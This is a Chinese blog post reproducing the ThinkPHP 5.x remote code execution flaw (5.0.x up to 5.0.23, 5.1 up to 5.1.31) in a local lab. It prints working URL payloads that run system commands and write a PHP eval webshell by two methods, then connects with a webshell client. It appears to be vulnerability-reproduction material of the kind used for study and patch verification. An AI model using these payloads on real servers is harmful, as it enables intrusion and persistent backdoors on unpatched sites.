ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
PHP 远程关机实现代码
Nov 10 PHP
php获取url字符串截取路径的文件名和扩展名的函数
Jan 22 PHP
《PHP编程最快明白》第七讲:php图片验证码与缩略图
Nov 01 PHP
PHP5 的对象赋值机制介绍
Aug 02 PHP
php数组函数序列之sort() 对数组的元素值进行升序排序
Nov 02 PHP
php更新mysql后获取影响的行数发生异常解决方法
Mar 28 PHP
PHP批量生成静态HTML的简单原理和方法
Apr 20 PHP
php用户注册信息验证正则表达式
Nov 12 PHP
PHP入门教程之使用Mysqli操作数据库的方法(连接,查询,事务回滚等)
Sep 11 PHP
thinkphp自定义权限管理之名称判断方法
Apr 01 PHP
php使用pecl方式安装扩展操作示例
Aug 12 PHP
基于php伪静态的实现方法解析
Jul 31 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
php xml留言板 xml存储数据的简单例子
2009/08/24 PHP
PHP在线生成二维码(google api)的实现代码详解
2013/06/04 PHP
PHP捕获Fatal error错误的方法
2014/06/11 PHP
Mootools 1.2教程(21)——类(二)
2009/09/15 Javascript
javascript与CSS复习(二)
2010/06/29 Javascript
读jQuery之八 包装事件对象
2011/06/21 Javascript
各浏览器中querySelector和querySelectorAll的实现差异分析
2012/05/23 Javascript
jquery常用操作小结
2014/07/21 Javascript
node.js中的events.emitter.once方法使用说明
2014/12/10 Javascript
javascript实现Table间隔色以及选择高亮(和动态切换数据)的方法
2015/05/14 Javascript
JavaScript实现打开链接页面的方式汇总
2016/06/02 Javascript
AngularJS实现单独作用域内的数据操作
2016/09/05 Javascript
form表单转Json提交的方法(推荐)
2016/09/23 Javascript
jQuery自定义插件详解及实例代码
2016/12/29 Javascript
Vue实现双向数据绑定
2017/05/03 Javascript
Vue-cropper 图片裁剪的基本原理及思路讲解
2018/04/17 Javascript
浅谈layui分页控件field参数接收对象的问题
2019/09/20 Javascript
Python常用列表数据结构小结
2014/08/06 Python
分析在Python中何种情况下需要使用断言
2015/04/01 Python
Python学习pygal绘制线图代码分享
2017/12/09 Python
python画折线图的程序
2018/07/26 Python
Python使用QQ邮箱发送邮件报错smtplib.SMTPAuthenticationError
2019/12/20 Python
Python中的整除和取模实例
2020/06/03 Python
Django数据库迁移常见使用方法
2020/11/12 Python
python安装sklearn模块的方法详解
2020/11/28 Python
python中pop()函数的语法与实例
2020/12/01 Python
python中_del_还原数据的方法
2020/12/09 Python
python和opencv构建运动检测器的实现
2021/03/03 Python
犹他州最古老的体育用品公司:Al’s
2020/12/18 全球购物
总经理职责范文
2013/11/08 职场文书
运动会四百米广播稿
2014/01/19 职场文书
三月雷锋月活动总结
2014/07/03 职场文书
办理信用卡收入证明范例
2014/09/13 职场文书
2014年领导班子专项整治整改方案
2014/09/28 职场文书
黄埔军校观后感
2015/06/10 职场文书
企业文化学习心得体会
2016/01/21 职场文书